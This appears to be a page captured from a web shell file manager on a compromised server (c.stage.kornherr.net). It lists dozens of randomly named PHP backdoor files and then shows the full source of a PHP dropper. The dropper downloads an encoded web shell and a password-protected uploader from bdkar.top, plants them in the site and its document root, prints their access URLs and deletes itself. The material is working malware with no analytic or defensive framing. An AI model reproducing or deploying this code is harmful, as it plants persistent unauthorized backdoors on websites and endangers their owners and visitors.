Gecko [ c.stage.kornherr.net ]

Name	Size	Permission	Date
2015	[ DIR ]	drwxr-xr-x	2020-11-26 10:17
2020	[ DIR ]	drwxr-xr-x	2020-12-01 15:20
2021	[ DIR ]	drwxr-xr-x	2021-11-30 23:03
2022	[ DIR ]	drwxr-xr-x	2022-11-30 23:01
2023	[ DIR ]	drwxr-xr-x	2023-11-30 23:06
2024	[ DIR ]	drwxr-xr-x	2024-11-30 23:34
2025	[ DIR ]	drwxr-xr-x	2025-11-30 23:00
2026	[ DIR ]	drwxr-xr-x	2026-09-04 04:20
dynamic_avia	[ DIR ]	drwxr-xr-x	2021-06-25 17:34
BDKR28_0u2zxau7.php	23.11 KB	-rw-r--r--	2026-08-10 13:13
BDKR28_6nndvke8.php	23.11 KB	-rw-r--r--	2026-08-10 13:11
BDKR28_7obexdd2.php	23.11 KB	-rw-r--r--	2026-08-20 22:33
BDKR28_9kf6o9qj.php	23.11 KB	-rw-r--r--	2026-08-10 13:14
BDKR28_bmkroovi.php	23.11 KB	-rw-r--r--	2026-08-20 22:36
BDKR28_ic5ge2c4.php	23.11 KB	-rw-r--r--	2026-08-18 13:54
BDKR28_ionr42rv.php	23.11 KB	-rw-r--r--	2026-08-20 22:32
BDKR28_jmrrv07t.php	23.11 KB	-rw-r--r--	2026-08-10 13:12
BDKR28_me4aov8e.php	23.11 KB	-rw-r--r--	2026-08-18 13:54
BDKR28_t0uu8hlg.php	23.11 KB	-rw-r--r--	2026-08-20 22:32
BDKR28_vla23v2g.php	23.11 KB	-rw-r--r--	2026-08-18 13:54
BDKR28_vtq458th.php	23.11 KB	-rw-r--r--	2026-08-18 13:54
ajzhbwhffm.php	1.5 KB	-rw-r--r--	2026-08-20 22:25
data.php	6.83 KB	-r--r--r--	2026-08-25 00:18
db-status.php	6.83 KB	-r--r--r--	2026-08-06 01:15
dilzpfnalj.php	1.5 KB	-rw-r--r--	2026-08-20 22:33
fhkbbbwuef.php	1.5 KB	-rw-r--r--	2026-08-20 22:32
home.php	6.83 KB	-r--r--r--	2026-08-14 00:26
hqflyglira.php	2.06 KB	-rw-r--r--	2026-08-10 13:11
massby2.php	126.59 KB	-rw-r--r--	2026-08-06 00:29
nxzruuydcv.php	1.5 KB	-rw-r--r--	2026-08-20 22:32
obqzwcpuzb.php	1.5 KB	-rw-r--r--	2026-08-20 22:25
pdancojmqk.php	1.5 KB	-rw-r--r--	2026-08-20 22:32
pvmzmvihxu.php	1.5 KB	-rw-r--r--	2026-08-20 22:25
riyukegfpt.php	1.5 KB	-rw-r--r--	2026-08-20 22:25
test.php	6.83 KB	-r--r--r--	2026-08-26 00:09
vbydgvbpak.php	1.5 KB	-rw-r--r--	2026-08-20 22:34
wxuvupxecq.php	1.5 KB	-rw-r--r--	2026-08-20 22:25
zoavwfpvdv.php	1.5 KB	-rw-r--r--	2026-08-20 22:25

Rename

<?php
# 383634
$shell_encrypted = curl('https://bdkar.top/shl/fox-bdkr-shel.txt');
$shell = base64_decode($shell_encrypted);
$link = str_replace(basename(__FILE__), '', 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
$file1_name = mt_rand_str(8); // Generate random name for shell
$file1 = 'BDKR28_' . $file1_name . '.php';
$file2_name = mt_rand_str(8); // Generate random name for uploader
$file2 = $file2_name . '.php';
$password = mt_rand_str(4);
$save = fopen($file1, 'w');
fwrite($save, $shell);
fclose($save);
$root_save = fopen($_SERVER['DOCUMENT_ROOT'] . '/BDKR28WP.php', 'w');
fwrite($root_save, $shell);
fclose($root_save);
$uploader = curl('https://bdkar.top/shl/uploader-pass.txt');
$uploader = str_replace('RANDOM_PASSWORD', $password, $uploader);
$save = fopen($file2, 'w');
fwrite($save, $uploader);
fclose($save);
$txt_url = "https://bdkar.top/shl/bdkr.txt";
$txt_content = curl($txt_url);
$txt_file = fopen("BDKR.txt", "w");
fwrite($txt_file, $txt_content);
fclose($txt_file);
function mt_rand_str($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
 for ($s = '', $cl = strlen($c) - 1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
 return $s;
}
function curl($url) {
 $html = file_get_contents($url);
 if (!empty($html)) {
 return $html;
 }
 $curl = curl_init();
 curl_setopt($curl, CURLOPT_TIMEOUT, 40);
 curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt($curl, CURLOPT_URL, $url);
 curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
 if (stristr($url, "https://")) {
 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
 }
 curl_setopt($curl, CURLOPT_HEADER, false);
 return curl_exec($curl);
}
?>
<shell><center> Shell : <?php echo $link . $file1; ?></center> </shell>
<up><center> Up : <?php echo $link . $file2 . '?BDKR28=' . $password; ?></center> </up>
<?php
unlink(__FILE__);